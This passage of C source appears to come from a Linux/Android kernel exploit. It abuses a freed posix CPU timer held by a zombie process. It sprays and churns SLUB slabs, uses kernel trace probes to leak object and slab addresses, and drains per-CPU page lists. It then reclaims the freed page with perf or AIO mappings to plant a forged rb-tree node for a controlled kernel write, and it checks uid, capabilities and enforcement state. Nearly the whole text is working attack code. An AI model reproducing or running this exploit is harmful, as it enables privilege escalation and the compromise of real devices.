				"[aio] folio scan failed after %u rings errno=%d\n",
				*count, errno);
			return -1;
		}
		if (seen != baseline + *count) {
			dprintf(STDERR_FILENO,
				"[aio] folio/ring mismatch observed=%u baseline=%u "
				"rings=%u; cannot prove page ownership\n",
				seen, baseline, *count);
			errno = EPROTO;
			return -1;
		}
		if (match_index < *count) {
			uint32_t *ring =
				(uint32_t *)(uintptr_t)contexts[match_index];
			volatile uint64_t *victim_node =
				(volatile uint64_t *)((char *)ring +
					(victim & 0xfffU) + KITIMER_NODE);
			if (!ring || ring[4] != UINT32_C(0xa10a10a1) ||
			    victim_node[0] != 0 || victim_node[1] != 0 ||
			    victim_node[2] != target) {
				dprintf(STDERR_FILENO,
					"[aio] matching ring #%u has invalid victim node\n",
					match_index);
				errno = EPROTO;
				return -1;
			}
			dprintf(STDERR_FILENO,
				"[aio] EXACT HIT ring #%u/%u context=%p "
				"folio=0x%" PRIx64 " victim_node_offset=0x%" PRIx64
				" rb_left=0x%" PRIx64 "\n",
				match_index, *count, (void *)ring,
				required_folio,
				(victim & 0xfffU) + KITIMER_NODE, target);
			return 0;
		}
		dprintf(STDERR_FILENO,
			"[aio] batch scanned rings=%u/%u folios=%u "
			"target half-page still missing\n",
			*count, maximum, seen - baseline);
		if (io_setup_stopped)
			break;
	}
	dprintf(STDERR_FILENO,
		"[aio] no exact target folio after %u rings; keep mappings "
		"and park zombie without reap\n", *count);
	errno = ENOENT;
	return -1;
}

static int probe_perf_pages(struct trace_probe *probe, long owner_tid,
			    uint64_t wanted_page, unsigned int baseline,
			    unsigned int *seen, unsigned int *match_index)
{
	FILE *file = fopen(TRACE_TEXT, "r");
	char line[1024], event_key[128];
	unsigned int matches = 0;
	*seen = 0;
	*match_index = UINT32_MAX;
	if (!file)
		return -1;
	snprintf(event_key, sizeof(event_key), "%s:", probe->perf_event);
	while (fgets(line, sizeof(line), file)) {
		char *event = strstr(line, event_key);
		char *bracket, *dash, *end;
		uint64_t page;
		long line_tid;
		if (!event)
			continue;
		bracket = strchr(line, '[');
		if (!bracket || bracket >= event)
			continue;
		dash = bracket;
		while (dash > line && *dash != '-') dash--;
		if (*dash != '-') continue;
		line_tid = strtol(dash + 1, &end, 10);
		if (end == dash + 1 || end > bracket ||
		    line_tid != owner_tid ||
		    trace_field_u64(event, "user_page", &page))
			continue;
		if (*seen >= baseline && page == wanted_page) {
			*match_index = *seen - baseline;
			matches++;
		}
		(*seen)++;
	}
	fclose(file);
	if (matches > 1) { errno = EPROTO; return -1; }
	return 0;
}

static int spray_perf_zero_node(struct perf_mapping *mappings,
			       unsigned int maximum, uint64_t target,
			       uint64_t victim, struct trace_probe *probe,
			       unsigned int *count)
{
	struct perf_event_attr attr = { 0 };
	unsigned int baseline = 0, match_index = UINT32_MAX;
	unsigned int seen = 0;
	uint64_t required_page = victim & ~UINT64_C(0xfff);
	unsigned int node_offset = (unsigned int)(victim & 0xfffU) +
		KITIMER_NODE;
	bool stopped = false;
	*count = 0;
	if (node_offset < 0x500U || node_offset + 24U > 4096U ||
	    !kernel_pointer(required_page)) {
		errno = ERANGE;
		return -1;
	}
	if (probe_perf_pages(probe, tid(), required_page, 0,
			     &baseline, &match_index))
		return -1;
	attr.type = PERF_TYPE_SOFTWARE;
	attr.size = sizeof(attr);
	attr.config = PERF_COUNT_SW_CPU_CLOCK;
	attr.disabled = 1;
	attr.exclude_kernel = 1;
	attr.exclude_hv = 1;
	dprintf(STDERR_FILENO,
		"[perf] baseline=%u required_page=0x%" PRIx64
		" victim_node_offset=0x%x limit=%u\n",
		baseline, required_page, node_offset, maximum);
	for (unsigned int start = 0; start < maximum; start += PERF_BATCH) {
		unsigned int end = start + PERF_BATCH;
		if (end > maximum) end = maximum;
		for (unsigned int i = start; i < end; i++) {
			int fd = (int)syscall(SYS_perf_event_open, &attr,
					      0, -1, -1, 0);
			if (fd < 0) { stopped = true; break; }
			void *map = mmap(NULL, 4096, PROT_READ | PROT_WRITE,
					 MAP_SHARED, fd, 0);
			if (map == MAP_FAILED) {
				dprintf(STDERR_FILENO,
					"[perf] mmap stopped at %u errno=%d\n",
					i, errno);
				close(fd);
				stopped = true;
				break;
			}
			mappings[i] = (struct perf_mapping){ .fd = fd, .map = map };
			*count = i + 1;
		}
		if (probe_perf_pages(probe, tid(), required_page,
				     baseline, &seen, &match_index))
			return -1;
		if (seen != baseline + *count) {
			dprintf(STDERR_FILENO,
				"[perf] trace gap seen=%u expected=%u\n",
				seen, baseline + *count);
			errno = EPROTO;
			return -1;
		}
		if (match_index < *count) {
			volatile uint64_t *node =
				(volatile uint64_t *)((char *)mappings[match_index].map
						      + node_offset);
			node[0] = 0;
			node[1] = 0;
			node[2] = target;
			atomic_thread_fence(memory_order_seq_cst);
			if (node[0] || node[1] || node[2] != target) {
				errno = EPROTO;
				return -1;
			}
			dprintf(STDERR_FILENO,
				"[perf] EXACT HIT index=%u/%u map=%p page=0x%" PRIx64
				" node_offset=0x%x rb_left=0x%" PRIx64 "\n",
				match_index, *count, mappings[match_index].map,
				required_page, node_offset, target);
			return 0;
		}
		dprintf(STDERR_FILENO,
			"[perf] scanned metadata pages=%u/%u exact_target=0\n",
			*count, maximum);
		if (stopped) break;
	}
	errno = ENOENT;
	return -1;
}

static void destroy_perf(struct perf_mapping *mappings, unsigned int count)
{
	for (unsigned int i = 0; i < count; i++) {
		if (mappings[i].map) (void)munmap(mappings[i].map, 4096);
		if (mappings[i].fd >= 0) (void)close(mappings[i].fd);
	}
}

static void destroy_aio(aio_context_t *contexts, unsigned int count)
{
	for (unsigned int i = 0; i < count; i++)
		if (contexts[i])
			(void)syscall(SYS_io_destroy, contexts[i]);
}

static int reap_zombie(pid_t zombie)
{
	int status;
	dprintf(STDERR_FILENO,
		"[reap] waitpid(%d) begins; rb_erase zero-write expected\n",
		zombie);
	if (waitpid(zombie, &status, 0) != zombie) {
		dprintf(STDERR_FILENO, "[reap] waitpid errno=%d (%s)\n",
			errno, strerror(errno));
		return -1;
	}
	if (WIFSIGNALED(status))
		dprintf(STDERR_FILENO, "[reap] zombie signal=%d\n",
			WTERMSIG(status));
	else if (WIFEXITED(status))
		dprintf(STDERR_FILENO, "[reap] zombie exit=%d\n",
			WEXITSTATUS(status));
	return 0;
}

static void park_unsafe_zombie(pid_t zombie)
{
	/* The stale timer node is still reachable through this zombie. Exiting
	 * would reparent it to init, which immediately reaps and may panic the
	 * kernel. Keep the parent alive until a safe reclaim is demonstrated.
	 */
	(void)signal(SIGHUP, SIG_IGN);
	(void)signal(SIGTERM, SIG_IGN);
	(void)signal(SIGINT, SIG_IGN);
	dprintf(STDERR_FILENO,
		"[PARKED] zombie=%d retained without reap after unsafe "
		"slab/AIO outcome; process will wait until device reboot\n",
		zombie);
	for (;;)
		pause();
}

static int force_slab_release_waves(unsigned int capacity,
				    struct trace_probe *probe,
				    uint64_t target_slab_pointer,
				    uint64_t after_rcu_head,
				    unsigned int baseline,
				    unsigned int *active,
				    unsigned int *total,
				    int *release_cpu)
{
	unsigned int per_wave = capacity < 512U ? capacity : 512U;
	struct filler *wave_fillers = calloc(per_wave, sizeof(*wave_fillers));
	if (!wave_fillers)
		return -1;
	for (unsigned int wave = 1; wave <= 4; wave++) {
		unsigned int count = 0;
		for (unsigned int i = 0; i < per_wave; i++) {
			if (create_one_filler(NULL, wave_fillers, per_wave,
						&count, false)) {
				dprintf(STDERR_FILENO,
					"[wave %u] create #%u errno=%d\n",
					wave, i, errno);
				(void)free_other_fillers(wave_fillers, count);
				free(wave_fillers);
				return -1;
			}
		}
		dprintf(STDERR_FILENO,
			"[wave %u] created %u timers for SLUB churn\n",
			wave, count);
		if (free_other_fillers(wave_fillers, count)) {
			free(wave_fillers);
			return -1;
		}
		for (unsigned int poll = 0; poll < 600; poll++) {
			unsigned int seen = 0;
			if (!probe_slab_released(probe, target_slab_pointer,
					 after_rcu_head,
						&seen, release_cpu)) {
				dprintf(STDERR_FILENO,
					"[wave %u] target free_slab confirmed "
					"slab=0x%" PRIx64 " events=%u\n",
					wave, target_slab_pointer, seen);
				free(wave_fillers);
				return 0;
			}
			struct timespec pause = { .tv_nsec = 50000000 };
			nanosleep(&pause, NULL);
		}
		if (read_timer_slab_total(active, total)) {
			free(wave_fillers);
			return -1;
		}
		dprintf(STDERR_FILENO,
			"[wave %u] after RCU active=%u total=%u baseline=%u\n",
			wave, *active, *total, baseline);
	}
	free(wave_fillers);
	return 1; /* Exhausted waves without allocator errors. */
}

static int force_slab_release_waves_stream(unsigned int capacity,
				   struct reclaim_stream *stream,
				   unsigned int baseline,
				   int preferred_cpu, int second_cpu,
				   unsigned int *active,
				   unsigned int *total)
{
	unsigned int per_wave = capacity < 512U ? capacity : 512U;
	struct filler *items = calloc(per_wave, sizeof(*items));
	if (!items) return -1;
	int cpus[CPU_SETSIZE];
	unsigned int cpu_count = 0;
	if (preferred_cpu >= 0 && preferred_cpu < CPU_SETSIZE &&
	    CPU_ISSET(preferred_cpu, &initial_affinity))
		cpus[cpu_count++] = preferred_cpu;
	if (second_cpu >= 0 && second_cpu < CPU_SETSIZE &&
	    second_cpu != preferred_cpu &&
	    CPU_ISSET(second_cpu, &initial_affinity))
		cpus[cpu_count++] = second_cpu;
	for (int cpu = 0; cpu < CPU_SETSIZE; cpu++) {
		if (!CPU_ISSET(cpu, &initial_affinity) ||
		    cpu == preferred_cpu || cpu == second_cpu)
			continue;
		cpus[cpu_count++] = cpu;
	}
	for (unsigned int wave = 1; wave <= cpu_count; wave++) {
		int cpu = cpus[wave - 1U];
		if (pin_reclaim_cpu(cpu)) { free(items); return -1; }
		unsigned int count = 0;
		for (unsigned int i = 0; i < per_wave; i++) {
			if (create_one_filler(NULL, items, per_wave,
					      &count, false)) {
				(void)free_other_fillers(items, count);
				free(items);
				return -1;
			}
		}
		dprintf(STDERR_FILENO,
			"[wave %u] cpu=%d created %u timers\n",
			wave, cpu, count);
		if (free_other_fillers(items, count)) {
			free(items);
			return -1;
		}
		int waited = reclaim_stream_wait(stream, 10000U);
		if (waited == 0) {
			dprintf(STDERR_FILENO,
				"[wave %u] exact target free_slab in stream "
				"wave_cpu=%d release_cpu=%d events=%u\n", wave,
				cpu,
				stream->release_cpu, stream->release_events);
			free(items);
			return 0;
		}
		if (waited < 0) { free(items); return -1; }
		if (read_timer_slab_total(active, total)) {
			free(items);
			return -1;
		}
		dprintf(STDERR_FILENO,
			"[wave %u] cpu=%d target held active=%u total=%u "
			"baseline=%u events=%u\n", wave, cpu, *active,
			*total, baseline, stream->release_events);
	}
	free(items);
	return 1;
}

static int run_zero_attempt(unsigned int number, uint64_t target)
{
	struct trace_probe probe;
	struct target_handle handle = {
		.child = -1, .report_fd = -1, .control_fd = -1
	};
	struct filler *fillers = NULL;
	struct perf_mapping *perf_mappings = NULL;
	struct prime_pool *prime_pools = NULL;
	struct reclaim_stream reclaim = { .fd = -1 };
	uint64_t victim = 0, target_slab = 0, last_churn = 0;
	unsigned int filler_count = 0, target_first = 0, churn_first = 0;
	unsigned int perf_count = 0;
	int release_cpu = -1;
	int victim_rcu_cpu = -1, sentinel_rcu_cpu = -1;
	unsigned int active = 0, baseline_total = 0, after_total = 0;
	bool probe_active = false;
	bool exec_released = false;
	int result = -1;
	if (read_timer_slab_total(&active, &baseline_total)) {
		dprintf(STDERR_FILENO,
			"[attempt %u] slabinfo baseline errno=%d\n",
			number, errno);
		return -1;
	}
	dprintf(STDERR_FILENO,
		"[attempt %u] slab baseline active=%u total=%u\n",
		number, active, baseline_total);
	if (prefix_minimum + SLAB_OBJECTS - 1U + churn_limit >=
	    filler_limit) {
		dprintf(STDERR_FILENO,
			"[attempt %u] filler capacity=%u too small for "
			"prefix=%u target31 churn=%u\n",
			number, filler_limit, prefix_minimum, churn_limit);
		errno = E2BIG;
		return -1;
	}
	fillers = calloc(filler_limit, sizeof(*fillers));
	perf_mappings = calloc(PERF_MAX, sizeof(*perf_mappings));
	prime_pools = calloc(CPU_SETSIZE, sizeof(*prime_pools));
	if (!fillers || !perf_mappings || !prime_pools) {
		dprintf(STDERR_FILENO, "[attempt %u] allocation failed\n", number);
		goto out;
	}
	for (int cpu = 0; cpu < CPU_SETSIZE; cpu++) {
		if (!CPU_ISSET(cpu, &initial_affinity)) continue;
		if (pin_reclaim_cpu(cpu) ||
		    prepare_prime_pool(&prime_pools[cpu], pcp_prime_pages)) {
			dprintf(STDERR_FILENO,
				"[attempt %u] CPU %d prime preparation failed "
				"errno=%d\n", number, cpu, errno);
			goto out;
		}
	}
	if (pin_reclaim_cpu(allocator_cpu)) goto out;
	if (probe_setup(&probe, "posix_cpu_timer_create", "timer=$arg1:x64",
			false)) {
		dprintf(STDERR_FILENO,
			"[attempt %u] timer probe errno=%d (%s)\n",
			number, errno, strerror(errno));
		(void)probe_cleanup(&probe);
		goto out;
	}
	probe_active = true;
	if (probe_add_rcu_free(&probe)) {
		dprintf(STDERR_FILENO,
			"[attempt %u] RCU free probe setup errno=%d (%s)\n",
			number, errno, strerror(errno));
		goto out;
	}
	if (probe_add_free_slab_tracking(&probe)) {
		dprintf(STDERR_FILENO,
			"[attempt %u] free_slab probe setup errno=%d (%s)\n",
			number, errno, strerror(errno));
		goto out;
	}
	/* Activate while the target slab is still live. Triggering 4 MiB RSS
	 * after free_slab could consume the exact page before perf does.
	 */
	if (probe_add_perf_meta_tracking(&probe)) {
		dprintf(STDERR_FILENO,
			"[attempt %u] perf metadata probe setup errno=%d (%s)\n",
			number, errno, strerror(errno));
		goto out;
	}
	if (probe_add_pcp_drain_tracking(&probe)) {
		dprintf(STDERR_FILENO,
			"[attempt %u] PCP drain tracepoint setup errno=%d (%s)\n",
			number, errno, strerror(errno));
		goto out;
	}
	if (start_target_barrier(number, requested_vmas, &handle))
		goto out;
	if (prefill_new_slab(&probe, fillers, filler_limit,
			     prefix_minimum, churn_limit + 1U, &filler_count,
			     &target_first, &target_slab)) {
		dprintf(STDERR_FILENO,
			"[attempt %u] prefill 31 slots failed errno=%d\n",
			number, errno);
		goto out;
	}
	if (allow_target_phase(&handle, 2, number))
		goto out;
	if (probe_timer_address(&probe, handle.exec_tid, 0, &victim)) {
		dprintf(STDERR_FILENO,
			"[attempt %u] victim pointer leak errno=%d (%s)\n",
			number, errno, strerror(errno));
		goto out;
	}
	dprintf(STDERR_FILENO,
		"[attempt %u] victim k_itimer=0x%" PRIx64
		" node=0x%" PRIx64 " slab=0x%" PRIx64 "\n",
		number, victim, victim + KITIMER_NODE,
		victim & ~(uint64_t)(SLAB_BYTES - 1));
	if ((victim & (KITIMER_BYTES - 1)) != 0 ||
	    (victim & ~(uint64_t)(SLAB_BYTES - 1)) != target_slab) {
		dprintf(STDERR_FILENO,
			"[attempt %u] victim not 32nd target slab slot; stop\n",
			number);
		goto out;
	}
	if (((victim & 0xfffU) + KITIMER_NODE) < 0x500U) {
		dprintf(STDERR_FILENO,
			"[attempt %u] victim overlaps perf metadata header; "
			"abort before exec trigger\n", number);
		goto out;
	}
	for (unsigned int i = target_first;
	     i < target_first + SLAB_OBJECTS - 1U; i++)
		if (fillers[i].kernel_address == victim) {
			dprintf(STDERR_FILENO,
				"[attempt %u] victim duplicates filler #%u\n",
				number, i);
			goto out;
		}
	/* Move the full victim slab out of the CPU's active slab by holding
	 * additional order-1 slabs of timers, as observed on this target.
	 */
	churn_first = filler_count;
	for (unsigned int i = 0; i < churn_limit; i++)
		if (create_one_filler(&probe, fillers, filler_limit,
					&filler_count, false)) {
			dprintf(STDERR_FILENO,
				"[attempt %u] churn timer #%u errno=%d\n",
				number, i, errno);
			goto out;
		}
	if (filler_count != churn_first + churn_limit ||
	    probe_lookup(&probe, tid(), "timer", &last_churn) ||
	    !kernel_pointer(last_churn)) {
		dprintf(STDERR_FILENO,
			"[attempt %u] last churn address unavailable\n",
			number);
		goto out;
	}
	fillers[filler_count - 1U].kernel_address = last_churn;
	dprintf(STDERR_FILENO,
		"[attempt %u] post-target churn=%u indices=%u..%u "
		"final k_itimer=0x%" PRIx64 " RCU head=0x%" PRIx64
		" held_prefix=%u\n",
		number, churn_limit, churn_first,
		filler_count - 1U, last_churn, last_churn + 0xf0,
		target_first);
	if (read_timer_slab_total(&active, &after_total))
		goto out;
	dprintf(STDERR_FILENO,
		"[attempt %u] victim live + churn total=%u baseline=%u\n",
		number, after_total, baseline_total);
	if (allow_target_phase(&handle, 0, number))
		goto out;
	exec_released = true;
	unsafe_child_pid = handle.child;
	(void)signal(SIGHUP, SIG_IGN);
	(void)signal(SIGTERM, SIG_IGN);
	(void)signal(SIGINT, SIG_IGN);
	if (wait_target_zombie(number, &handle))
		goto out;
	/* Delete thirty target fillers immediately after the victim becomes
	 * a zombie. Their RCU callbacks can share the victim's grace period,
	 * mirroring the safe oracle's first batch of 31 target frees.
	 */
	uint64_t sentinel = fillers[target_first + SLAB_OBJECTS - 2U]
		.kernel_address;
	if (free_target_filler_range(fillers, target_first,
				     SLAB_OBJECTS - 2U))
		goto out;
	bool target31_rcu_seen = false;
	for (int poll = 0; poll < 600; poll++) {
		unsigned int confirmed = 0, callbacks = 0;
		if (!probe_target_rcu_complete(&probe, fillers,
					       target_first, SLAB_OBJECTS - 2U,
					       victim, &confirmed, &callbacks)) {
			target31_rcu_seen = true;
			dprintf(STDERR_FILENO,
				"[attempt %u] victim+target30 RCU confirmed "
				"slots=%u/31 callbacks=%u sentinel=0x%" PRIx64
				" remains live\n", number, confirmed,
				callbacks, sentinel);
			break;
		}
		if (poll % 20 == 0)
			dprintf(STDERR_FILENO,
				"[attempt %u] waiting victim+target30 RCU "
				"poll=%d slots=%u/31 callbacks=%u\n",
				number, poll + 1, confirmed, callbacks);
		struct timespec pause = { .tv_nsec = 50000000 };
		nanosleep(&pause, NULL);
	}
	if (!target31_rcu_seen)
		goto out;
	victim_rcu_cpu = probe_rcu_head_cpu(&probe, victim + 0xf0);
	dprintf(STDERR_FILENO,
		"[rcu] victim callback cpu=%d\n", victim_rcu_cpu);
	uint64_t slab_pointer = 0;
	if (victim_slab_pointer(victim, &slab_pointer)) {
		dprintf(STDERR_FILENO,
			"[attempt %u] victim direct-map to vmemmap translation failed\n",
			number);
		goto out;
	}
	dprintf(STDERR_FILENO,
		"[attempt %u] computed victim struct slab=0x%" PRIx64
		" from k_itimer=0x%" PRIx64 "\n",
		number, slab_pointer, victim);
	/* Free churn only after the target's first 31 slots (victim+30)
	 * finished RCU, then await the final churn timer's callback.
	 */
	if (free_churn_fillers(fillers, churn_first, churn_limit))
		goto out;
	bool churn_rcu_seen = false;
	for (int poll = 0; poll < 600; poll++) {
		unsigned int callbacks = 0;
		if (!probe_has_rcu_head(&probe, last_churn + 0xf0,
					&callbacks, poll % 20 == 0)) {
			churn_rcu_seen = true;
			dprintf(STDERR_FILENO,
				"[attempt %u] final churn RCU callback "
				"confirmed callbacks=%u\n",
				number, callbacks);
			break;
		}
		struct timespec pause = { .tv_nsec = 50000000 };
		nanosleep(&pause, NULL);
	}
	if (!churn_rcu_seen) {
		dprintf(STDERR_FILENO,
			"[attempt %u] churn RCU completion unverified; "
			"keep target sentinel live and park zombie\n", number);
		goto out;
	}
	/* All earlier address and RCU evidence has been consumed. Clear the
	 * high-volume exec trace before the sentinel callback; the release,
	 * drain, and perf page oracles below only need events after this point.
	 */
	int trace_clear_fd = open(TRACE_TEXT, O_WRONLY | O_TRUNC | O_CLOEXEC);
	if (trace_clear_fd >= 0) {
		close(trace_clear_fd);
		dprintf(STDERR_FILENO,
			"[trace] cleared prior events before sentinel release\n");
	} else {
		dprintf(STDERR_FILENO,
			"[trace] clear failed errno=%d; continuing with intact "
			"release gates\n", errno);
	}
	if (free_target_filler_range(fillers,
				     target_first + SLAB_OBJECTS - 2U, 1U))
		goto out;
	bool sentinel_rcu_seen = false;
	for (int poll = 0; poll < 600; poll++) {
		unsigned int callbacks = 0;
		if (!probe_has_rcu_head(&probe, sentinel + 0xf0,
					&callbacks, poll % 20 == 0)) {
			sentinel_rcu_seen = true;
			dprintf(STDERR_FILENO,
				"[attempt %u] last target sentinel RCU "
				"confirmed callbacks=%u\n",
				number, callbacks);
			break;
		}
		struct timespec pause = { .tv_nsec = 50000000 };
		nanosleep(&pause, NULL);
	}
	if (!sentinel_rcu_seen)
		goto out;
	sentinel_rcu_cpu = probe_rcu_head_cpu(&probe, sentinel + 0xf0);
	dprintf(STDERR_FILENO,
		"[rcu] sentinel callback cpu=%d\n", sentinel_rcu_cpu);
	if (reclaim_stream_open(&reclaim, &probe, slab_pointer)) {
		dprintf(STDERR_FILENO,
			"[gate] trace_pipe open failed errno=%d\n", errno);
		goto out;
	}
	dprintf(STDERR_FILENO,
		"[gate] streaming free_slab target=0x%" PRIx64
		" parent=%d zombie=%d\n",
		slab_pointer, getpid(), handle.child);
	int release_wait = reclaim_stream_wait(&reclaim, 10000U);
	if (release_wait != 0) {
		if (release_wait < 0) {
			dprintf(STDERR_FILENO,
				"[gate] trace_pipe read failed errno=%d\n", errno);
			goto out;
		}
		dprintf(STDERR_FILENO,
			"[attempt %u] target slab held; trying churn waves\n",
			number);
		if (force_slab_release_waves_stream(filler_limit,
						&reclaim, baseline_total,
						sentinel_rcu_cpu, victim_rcu_cpu,
						&active, &after_total)) {
			dprintf(STDERR_FILENO,
				"[attempt %u] free_slab not observed; "
				"park zombie without perf or reap\n", number);
			goto out;
		}
	}
	release_cpu = reclaim.release_cpu;
	dprintf(STDERR_FILENO,
		"[attempt %u] exact target free_slab stream hit "
		"cpu=%d events=%u pfn=0x%" PRIx64 "\n",
		number, release_cpu, reclaim.release_events,
		reclaim.wanted_pfn);
	if (reclaim_stream_pump(&reclaim)) goto out;
	unsigned int drain_events = reclaim.drain_events;
	int drain_cpu = reclaim.drain_cpu;
	bool target_pcp_drained = reclaim.drained;
	dprintf(STDERR_FILENO,
		"[pcp] target order-1 page=0x%" PRIx64
		" release_cpu=%d drained=%d seen=%u\n",
		slab_pointer, release_cpu, target_pcp_drained,
		drain_events);
	if (release_cpu < 0 || pin_reclaim_cpu(release_cpu)) {
		dprintf(STDERR_FILENO,
			"[pcp] cannot pin release CPU=%d errno=%d; park\n",
			release_cpu, errno);
		goto out;
	}
	if (!target_pcp_drained) {
		if (release_cpu < 0 || release_cpu >= CPU_SETSIZE ||
		    !prime_pools[release_cpu].base) {
			dprintf(STDERR_FILENO,
				"[pcp] no prepared pool for release CPU=%d\n",
				release_cpu);
			goto out;
		}
		struct prime_pool *prime = &prime_pools[release_cpu];
		for (unsigned int i = 0; i < prime->pages; i++) {
			void *page = prime->base + (size_t)i * 4096U;
			if (munmap(page, 4096U)) {
				dprintf(STDERR_FILENO,
					"[pcp] individual munmap #%u errno=%d\n",
					i, errno);
				goto out;
			}
			prime->released = i + 1;
			if (prime->released % 128U &&
			    prime->released != prime->pages)
				continue;
			if (reclaim_stream_pump(&reclaim)) goto out;
			drain_events = reclaim.drain_events;
			drain_cpu = reclaim.drain_cpu;
			if (reclaim.drained) {
				target_pcp_drained = true;
				break;
			}
			if (prime->released % 1024U == 0 ||
			    prime->released == prime->pages)
				dprintf(STDERR_FILENO,
					"[pcp] individually released=%u/%u "
					"drain_events=%u exact_target=0\n",
					prime->released, prime->pages,
					drain_events);
		}
	}
	if (reclaim_stream_pump(&reclaim)) goto out;
	if (reclaim.drained) {
		target_pcp_drained = true;
		drain_cpu = reclaim.drain_cpu;
		drain_events = reclaim.drain_events;
	}
	close(reclaim.fd);
	reclaim.fd = -1;
	int perf_trace_fd = open(TRACE_TEXT,
				 O_WRONLY | O_TRUNC | O_CLOEXEC);
	if (perf_trace_fd >= 0) close(perf_trace_fd);
	if (!target_pcp_drained) {
		dprintf(STDERR_FILENO,
			"[pcp] target drain not observed after %u pages; "
			"try exact perf page oracle without reaping\n",
			release_cpu >= 0 && release_cpu < CPU_SETSIZE ?
			prime_pools[release_cpu].released : 0U);
	}
	dprintf(STDERR_FILENO,
		"[pcp] target drain status=%d page=0x%" PRIx64
		" cpu=%d events=%u released=%u; begin perf\n",
		target_pcp_drained, slab_pointer, drain_cpu, drain_events,
		 release_cpu >= 0 && release_cpu < CPU_SETSIZE ?
		 prime_pools[release_cpu].released : 0U);
	if (drain_cpu >= 0 && pin_reclaim_cpu(drain_cpu)) {
		dprintf(STDERR_FILENO,
			"[pcp] cannot pin exact drain CPU=%d; park\n",
			drain_cpu);
		goto out;
	}
	dprintf(STDERR_FILENO,
		"[attempt %u] precise free_slab gate passed; "
		"begin perf immediately\n", number);
	unsigned int perf_maximum = aio_limit < PERF_MAX ?
		aio_limit : PERF_MAX;
	if (spray_perf_zero_node(perf_mappings, perf_maximum, target,
				victim, &probe, &perf_count))
		goto out;
	if (reap_zombie(handle.child))
		goto out;
	handle.child = -1;
	unsafe_child_pid = 0;
	(void)signal(SIGHUP, SIG_DFL);
	(void)signal(SIGTERM, SIG_DFL);
	(void)signal(SIGINT, SIG_DFL);
	result = 0;
out:
	if (reclaim.fd >= 0) close(reclaim.fd);
	if (probe_active)
		(void)probe_cleanup(&probe);
	if (handle.control_fd >= 0)
		abort_target(&handle);
	else if (handle.child > 0 && exec_released) {
		if (filler_count)
			(void)free_other_fillers(fillers, filler_count);
		park_unsafe_zombie(handle.child);
	} else if (handle.child > 0)
		(void)reap_zombie(handle.child);
	if (perf_count)
		destroy_perf(perf_mappings, perf_count);
	if (prime_pools)
		for (int cpu = 0; cpu < CPU_SETSIZE; cpu++)
			release_prime_pool(&prime_pools[cpu]);
	if (filler_count)
		(void)free_other_fillers(fillers, filler_count);
	free(perf_mappings);
	free(prime_pools);
	free(fillers);
	return result;
}

static int parse_u64(const char *text, uint64_t *value)
{
	char *end;
	unsigned long long candidate;
	errno = 0;
	candidate = strtoull(text, &end, 0);
	if (errno || end == text || *end)
		return -1;
	*value = (uint64_t)candidate;
	return 0;
}

static void print_status_identity(void)
{
	char line[256];
	FILE *file;
	dprintf(STDERR_FILENO,
		"[status] uid=%d euid=%d gid=%d egid=%d enforce=%d\n",
		getuid(), geteuid(), getgid(), getegid(), read_enforce());
	file = fopen("/proc/self/status", "r");
	if (!file)
		return;
	while (fgets(line, sizeof(line), file))
		if (!strncmp(line, "CapEff:", 7))
			dprintf(STDERR_FILENO, "[status] %s", line);
	fclose(file);
}

static int run_aio_preflight(void)
{
	struct trace_probe probe;
	aio_context_t contexts[8] = { 0 };
	uint64_t folios[8] = { 0 };
	unsigned int contexts_count = 0;
	unsigned int baseline = 0, unused_match = UINT32_MAX;
	int result = -1;
	bool probe_active = false;
	if (probe_setup(&probe, "__arm64_sys_getpid",
			"ip=%pc:x64", false)) {
		dprintf(STDERR_FILENO,
			"[aio-preflight] probe setup errno=%d (%s)\n",
			errno, strerror(errno));
		(void)probe_cleanup(&probe);
		return -1;
	}
	probe_active = true;
	if (probe_add_aio_tracking(&probe)) {
		dprintf(STDERR_FILENO,
			"[aio-preflight] secondary folio probe setup errno=%d (%s)\n",
			errno, strerror(errno));
		goto out;
	}
	if (probe_aio_folios(&probe, tid(), 0, 0,
			     &baseline, &unused_match, &folios[0]))
		goto out;
	dprintf(STDERR_FILENO,
		"[aio-preflight] before io_setup folio events=%u\n", baseline);
	for (unsigned int i = 0; i < 8; i++) {
		aio_context_t context = 0;
		if (syscall(SYS_io_setup, 1, &context)) {
			dprintf(STDERR_FILENO,
				"[aio-preflight] io_setup #%u errno=%d (%s)\n",
				i, errno, strerror(errno));
			goto out;
		}
		contexts[i] = context;
		contexts_count = i + 1;
		uint32_t *ring = (uint32_t *)(uintptr_t)context;
		if (ring[4] != UINT32_C(0xa10a10a1)) {
			dprintf(STDERR_FILENO,
				"[aio-preflight] invalid ring #%u magic=%08x\n",
				i, ring[4]);
			goto out;
		}
		for (int poll = 0; poll < 50; poll++) {
			uint64_t folio = 0;
			unsigned int seen = 0, match_index = UINT32_MAX;
			int secondary_rc = probe_aio_folios(&probe, tid(), 0,
						  baseline, &seen, &match_index,
						  &folio);
			if (!secondary_rc &&
			    folio >= TARGET_VMEMMAP_START &&
			    folio < TARGET_VMEMMAP_START +
				UINT64_C(0x100000000) &&
			    !(folio & 0x3f) &&
			    (!i || folio != folios[i - 1]) &&
			    seen == baseline + i + 1) {
				folios[i] = folio;
				break;
			}
			if (poll == 49)
				dprintf(STDERR_FILENO,
					"[aio-preflight] debug ring #%u "
					"secondary_rc=%d folio=0x%" PRIx64
					" seen=%u baseline=%u match=%u\n",
					i, secondary_rc, folio,
					seen, baseline, match_index);
			struct timespec pause = { .tv_nsec = 10000000 };
			nanosleep(&pause, NULL);
		}
		if (!folios[i]) {
			FILE *debug_trace = fopen(TRACE_TEXT, "r");
			if (debug_trace) {
				char debug_line[1024];
				while (fgets(debug_line, sizeof(debug_line),
					     debug_trace))
					if (strstr(debug_line,
						   probe.aio_event))
						dprintf(STDERR_FILENO,
							"[aio-preflight] trace %.400s",
							debug_line);
				fclose(debug_trace);
			}
			dprintf(STDERR_FILENO,
				"[aio-preflight] no unique folio for ring #%u\n",
				i);
			goto out;
		}
		dprintf(STDERR_FILENO,
			"[aio-preflight] ring #%u context=%p nr=%u "
			"folio=0x%" PRIx64 "\n",
			i, (void *)(uintptr_t)context, ring[1], folios[i]);
	}
	result = 0;
out:
	for (unsigned int i = 0; i < contexts_count; i++)
		if (syscall(SYS_io_destroy, contexts[i])) {
			dprintf(STDERR_FILENO,
				"[aio-preflight] io_destroy #%u errno=%d (%s)\n",
				i, errno, strerror(errno));
			result = -1;
		}
	dprintf(STDERR_FILENO,
		"[aio-preflight] io_destroy completed for %u contexts\n",
		contexts_count);
	if (probe_active && probe_cleanup(&probe))
		result = -1;
	return result;
}

static int run_pcp_preflight(void)
{
	struct trace_probe probe;
	FILE *file;
	char line[1024];
	unsigned int seen = 0;
